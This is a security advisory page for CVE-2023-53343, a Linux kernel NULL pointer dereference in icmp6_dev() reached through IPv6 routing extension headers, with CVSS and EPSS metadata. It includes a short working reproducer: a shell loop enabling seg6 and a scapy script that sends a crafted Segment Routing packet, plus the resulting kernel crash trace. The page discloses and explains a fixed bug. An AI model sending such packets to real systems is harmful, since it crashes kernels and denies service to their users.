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In the Linux kernel, the following vulnerability has been...

Moderate severity Unreviewed Published Sep 17, 2025 to the GitHub Advisory Database • Updated Dec 11, 2025

Package

No package listedSuggest a package

Affected versions

Unknown

Patched versions

Unknown

Description

In the Linux kernel, the following vulnerability has been resolved:

icmp6: Fix null-ptr-deref of ip6_null_entry->rt6i_idev in icmp6_dev().

With some IPv6 Ext Hdr (RPL, SRv6, etc.), we can send a packet that
has the link-local address as src and dst IP and will be forwarded to
an external IP in the IPv6 Ext Hdr.

For example, the script below generates a packet whose src IP is the
link-local address and dst is updated to 11::.

for f in $(find /proc/sys/net/ -name seg6_enabled); do echo 1 > $f; done

python3

from socket import *
from scapy.all import *

SRC_ADDR = DST_ADDR = "fe80::5054:ff:fe12:3456"

pkt = IPv6(src=SRC_ADDR, dst=DST_ADDR)
pkt /= IPv6ExtHdrSegmentRouting(type=4, addresses=["11::", "22::"], segleft=1)

sk = socket(AF_INET6, SOCK_RAW, IPPROTO_RAW)
sk.sendto(bytes(pkt), (DST_ADDR, 0))

For such a packet, we call ip6_route_input() to look up a route for the
next destination in these three functions depending on the header type.

  • ipv6_rthdr_rcv()
  • ipv6_rpl_srh_rcv()
  • ipv6_srh_rcv()

If no route is found, ip6_null_entry is set to skb, and the following
dst_input(skb) calls ip6_pkt_drop().

Finally, in icmp6_dev(), we dereference skb_rt6_info(skb)->rt6i_idev->dev
as the input device is the loopback interface. Then, we have to check if
skb_rt6_info(skb)->rt6i_idev is NULL or not to avoid NULL pointer deref
for ip6_null_entry.

BUG: kernel NULL pointer dereference, address: 0000000000000000
PF: supervisor read access in kernel mode
PF: error_code(0x0000) - not-present page
PGD 0 P4D 0
Oops: 0000 [#1] PREEMPT SMP PTI
CPU: 0 PID: 157 Comm: python3 Not tainted 6.4.0-11996-gb121d614371c #35
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014
RIP: 0010:icmp6_send (net/ipv6/icmp.c:436 net/ipv6/icmp.c:503)
Code: fe ff ff 48 c7 40 30 c0 86 5d 83 e8 c6 44 1c 00 e9 c8 fc ff ff 49 8b 46 58 48 83 e0 fe 0f 84 4a fb ff ff 48 8b 80 d0 00 00 00 <48> 8b 00 44 8b 88 e0 00 00 00 e9 34 fb ff ff 4d 85 ed 0f 85 69 01
RSP: 0018:ffffc90000003c70 EFLAGS: 00000286
RAX: 0000000000000000 RBX: 0000000000000001 RCX: 00000000000000e0
RDX: 0000000000000021 RSI: 0000000000000000 RDI: ffff888006d72a18
RBP: ffffc90000003d80 R08: 0000000000000000 R09: 0000000000000001
R10: ffffc90000003d98 R11: 0000000000000040 R12: ffff888006d72a10
R13: 0000000000000000 R14: ffff8880057fb800 R15: ffffffff835d86c0
FS: 00007f9dc72ee740(0000) GS:ffff88807dc00000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 0000000000000000 CR3: 00000000057b2000 CR4: 00000000007506f0
PKRU: 55555554
Call Trace:

ip6_pkt_drop (net/ipv6/route.c:4513)
ipv6_rthdr_rcv (net/ipv6/exthdrs.c:640 net/ipv6/exthdrs.c:686)
ip6_protocol_deliver_rcu (net/ipv6/ip6_input.c:437 (discriminator 5))
ip6_input_finish (./include/linux/rcupdate.h:781 net/ipv6/ip6_input.c:483)
__netif_receive_skb_one_core (net/core/dev.c:5455)
process_backlog (./include/linux/rcupdate.h:781 net/core/dev.c:5895)
__napi_poll (net/core/dev.c:6460)
net_rx_action (net/core/dev.c:6529 net/core/dev.c:6660)
__do_softirq (./arch/x86/include/asm/jump_label.h:27 ./include/linux/jump_label.h:207 ./include/trace/events/irq.h:142 kernel/softirq.c:554)
do_softirq (kernel/softirq.c:454 kernel/softirq.c:441)


__local_bh_enable_ip (kernel/softirq.c:381)
__dev_queue_xmit (net/core/dev.c:4231)
ip6_finish_output2 (./include/net/neighbour.h:544 net/ipv6/ip6_output.c:135)
rawv6_sendmsg (./include/net/dst.h:458 ./include/linux/netfilter.h:303 net/ipv6/raw.c:656 net/ipv6/raw.c:914)
sock_sendmsg (net/socket.c:725 net/socket.c:748)
__sys_sendto (net/socket.c:2134)
__x64_sys_sendto (net/socket.c:2146 net/socket.c:2142 net/socket.c:2142)
do_syscall_64 (arch/x86/entry/common.c:50 arch/x86/entry/common.c:80)
entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:120)
RIP: 0033:0x7f9dc751baea
Code: d8 64 89 02 48 c7 c0 ff f
---truncated---

References

Published by the National Vulnerability Database Sep 17, 2025
Published to the GitHub Advisory Database Sep 17, 2025
Last updated Dec 11, 2025

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(4th percentile)

Weaknesses

NULL Pointer Dereference

The product dereferences a pointer that it expects to be valid but is NULL. Learn more on MITRE.

CVE ID

CVE-2023-53343

GHSA ID

GHSA-wcr6-fh62-j9wm

Source code

No known source code

Dependabot alerts are not supported on this advisory because it does not have a package from a supported ecosystem with an affected and fixed version.

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